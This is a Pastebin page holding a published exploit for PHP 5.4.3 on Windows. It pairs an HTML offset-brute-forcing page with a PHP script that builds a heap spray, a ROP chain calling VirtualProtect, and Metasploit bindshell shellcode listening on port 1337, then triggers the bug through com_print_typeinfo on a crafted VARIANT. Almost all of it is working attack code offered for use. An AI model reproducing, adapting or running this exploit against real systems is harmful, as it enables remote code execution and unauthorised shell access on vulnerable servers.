Advertisement
Topol

PHP 5.4 (5.4.3) Code Execution (Win32)

Aug 29th, 2012
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.51 KB | None | 0 0
  1. // Exploit Title: PHP 5.4 (5.4.3) Code Execution 0day (Win32)
  2. // Exploit author: 0in (Maksymilian Motyl)
  3. // Email: 0in(dot)email(at)gmail.com
  4. // * Bug with Variant type parsing originally discovered by Condis
  5. // Tested on Windows XP SP3 fully patched (Polish)
  6.  
  7.  
  8. ===================
  9. offset-brute.html
  10. ===================
  11.  
  12. <html><body>
  13. <title>0day</title>
  14. <center>
  15. <font size=7>PHP 5.4.3 0day by 0in & cOndis</font><br>
  16. <textarea rows=50 cols=50 id="log">&lt;/textarea&gt;
  17. </center>
  18. <script>
  19. function sleep(milliseconds) {
  20. var start = new Date().getTime();
  21. for (var i = 0; i < 1e7; i++) {
  22. if ((new Date().getTime() - start) > milliseconds){
  23. break;
  24. }
  25. }
  26. }
  27. function makeRequest(url, parameters)
  28. {
  29. var xmlhttp = new XMLHttpRequest();
  30. if (window.XMLHttpRequest) {
  31. xmlhttp = new XMLHttpRequest();
  32. if (xmlhttp.overrideMimeType) {
  33. xmlhttp.overrideMimeType('text/xml');
  34. }
  35. } else if (window.ActiveXObject) {
  36. // IE
  37. try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP"); }
  38. catch (e) {
  39. try { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); }
  40. catch (e) {}
  41. }
  42. }
  43.  
  44. if (!xmlhttp) {
  45. alert('Giving up :( Cannot create an XMLHTTP instance');
  46. return false;
  47. }
  48.  
  49. xmlhttp.open("GET",url,true);
  50. xmlhttp.send(null);
  51. return true;
  52. }
  53. test=document.getElementById("log");
  54. for(offset=0;offset<300;offset++)
  55. {
  56. log.value+="Trying offset:"+offset+"\r\n";
  57. makeRequest("0day.php?offset="+offset);
  58. sleep(500);
  59. }
  60.  
  61. </script></body></html>
  62.  
  63.  
  64.  
  65. ===================
  66. 0day.php
  67. ===================
  68.  
  69. <?php
  70.  
  71. $spray = str_repeat("\x90",0x200);
  72. $offset=$_GET['offset'];
  73. // 775DF0Da # ADD ESP,10 # RETN ** [ole32.dll]
  74. $spray = substr_replace($spray, "\xda\xf0\x5d\x77", (strlen($spray))*-1,(strlen($spray))*-1);
  75. // :> 0x048d0030
  76. $spray = substr_replace($spray, pack("L",0x048d0030+$offset), (strlen($spray)-0x8)*-1,(strlen($spray))*-1);
  77.  
  78. //0x7752ae9f (RVA : 0x0005ae7f) : # XCHG EAX,ESP # MOV ECX,468B0000 # OR AL,3 # RETN [ole32.dll]
  79. $spray = substr_replace($spray, "\x9f\xae\x52\x77", (strlen($spray)-0x10)*-1,(strlen($spray))*-1);
  80.  
  81. // Adress of VirtualProtect 0x7c801ad4
  82. $spray = substr_replace($spray, "\xd4\x1a\x80\x7c", (strlen($spray)-0x14)*-1,(strlen($spray))*-1);
  83.  
  84. // LPVOID lpAddress = 0x048d0060
  85. $spray = substr_replace($spray, pack("L",0x048d0060+$offset), (strlen($spray)-0x1c)*-1,(strlen($spray))*-1);
  86.  
  87. // SIZE_T dwSize = 0x01000000
  88. $spray = substr_replace($spray, "\x00\x00\x10\x00", (strlen($spray)-0x20)*-1,(strlen($spray))*-1);
  89.  
  90. // DWORD flNewProtect = PAGE_EXECUTE_READWRITE (0x00000040) | 0xffffffc0
  91. $spray = substr_replace($spray, "\x40\x00\x00\x00", (strlen($spray)-0x24)*-1,(strlen($spray))*-1);
  92. // __out PDWORD lpflOldProtect = 0x04300070 | 0x105240000
  93.  
  94. // 0x048d0068
  95. $spray = substr_replace($spray, pack("L",0x048d0068+$offset), (strlen($spray)-0x28)*-1,(strlen($spray))*-1);
  96.  
  97. //0x77dfe8b4 : # XOR EAX,EAX # ADD ESP,18 # INC EAX # POP EBP # RETN 0C ** [ADVAPI32.dll]
  98. $spray = substr_replace($spray, "\xb4\xe8\xdf\x77", (strlen($spray)-0x18)*-1,4);
  99. // Ret Address = 0x048d0080
  100. $spray = substr_replace($spray, pack("L",0x048d0080+$offset), (strlen($spray)-0x48)*-1,4);
  101.  
  102.  
  103.  
  104. $stacktrack = "\xbc\x0c\xb0\xc0\x00";
  105. // Universal win32 bindshell on port 1337 from metasploit
  106. $shellcode = $stacktrack."\x33\xc9\x83\xe9\xb0".
  107. "\x81\xc4\xd0\xfd\xff\xff".
  108. "\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1d".
  109. "\xcc\x32\x69\x83\xeb\xfc\xe2\xf4\xe1\xa6\xd9\x24\xf5\x35\xcd\x96".
  110. "\xe2\xac\xb9\x05\x39\xe8\xb9\x2c\x21\x47\x4e\x6c\x65\xcd\xdd\xe2".
  111. "\x52\xd4\xb9\x36\x3d\xcd\xd9\x20\x96\xf8\xb9\x68\xf3\xfd\xf2\xf0".
  112. "\xb1\x48\xf2\x1d\x1a\x0d\xf8\x64\x1c\x0e\xd9\x9d\x26\x98\x16\x41".
  113. "\x68\x29\xb9\x36\x39\xcd\xd9\x0f\x96\xc0\x79\xe2\x42\xd0\x33\x82".
  114. "\x1e\xe0\xb9\xe0\x71\xe8\x2e\x08\xde\xfd\xe9\x0d\x96\x8f\x02\xe2".
  115. "\x5d\xc0\xb9\x19\x01\x61\xb9\x29\x15\x92\x5a\xe7\x53\xc2\xde\x39".
  116. "\xe2\x1a\x54\x3a\x7b\xa4\x01\x5b\x75\xbb\x41\x5b\x42\x98\xcd\xb9".
  117. "\x75\x07\xdf\x95\x26\x9c\xcd\xbf\x42\x45\xd7\x0f\x9c\x21\x3a\x6b".
  118. "\x48\xa6\x30\x96\xcd\xa4\xeb\x60\xe8\x61\x65\x96\xcb\x9f\x61\x3a".
  119. "\x4e\x9f\x71\x3a\x5e\x9f\xcd\xb9\x7b\xa4\x37\x50\x7b\x9f\xbb\x88".
  120. "\x88\xa4\x96\x73\x6d\x0b\x65\x96\xcb\xa6\x22\x38\x48\x33\xe2\x01".
  121. "\xb9\x61\x1c\x80\x4a\x33\xe4\x3a\x48\x33\xe2\x01\xf8\x85\xb4\x20".
  122. "\x4a\x33\xe4\x39\x49\x98\x67\x96\xcd\x5f\x5a\x8e\x64\x0a\x4b\x3e".
  123. "\xe2\x1a\x67\x96\xcd\xaa\x58\x0d\x7b\xa4\x51\x04\x94\x29\x58\x39".
  124. "\x44\xe5\xfe\xe0\xfa\xa6\x76\xe0\xff\xfd\xf2\x9a\xb7\x32\x70\x44".
  125. "\xe3\x8e\x1e\xfa\x90\xb6\x0a\xc2\xb6\x67\x5a\x1b\xe3\x7f\x24\x96".
  126. "\x68\x88\xcd\xbf\x46\x9b\x60\x38\x4c\x9d\x58\x68\x4c\x9d\x67\x38".
  127. "\xe2\x1c\x5a\xc4\xc4\xc9\xfc\x3a\xe2\x1a\x58\x96\xe2\xfb\xcd\xb9".
  128. "\x96\x9b\xce\xea\xd9\xa8\xcd\xbf\x4f\x33\xe2\x01\xf2\x02\xd2\x09".
  129. "\x4e\x33\xe4\x96\xcd\xcc\x32\x69";
  130.  
  131.  
  132. $spray = substr_replace($spray,$shellcode, (strlen($spray)-0x50)*-1,(strlen($shellcode)));
  133. $fullspray="";
  134. for($i=0;$i<0x4b00;$i++)
  135. {
  136. $fullspray.=$spray;
  137. }
  138. $j=array();
  139. $e=array();
  140. $b=array();
  141. $a=array();
  142. $c=array();
  143.  
  144. array_push($j,$fullspray);
  145. array_push($e,$fullspray."W");
  146. array_push($b,$fullspray."A");
  147. array_push($a,$fullspray."S");
  148. array_push($c,$fullspray."!");
  149.  
  150.  
  151. $vVar = new VARIANT(0x048d0038+$offset);
  152. // Shoot him
  153. com_print_typeinfo($vVar); //CRASH -> 102F3986 FF50 10 CALL DWORD PTR DS:[EAX+10]
  154.  
  155. echo $arr;
  156.  
  157. echo $spray;
  158.  
  159. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement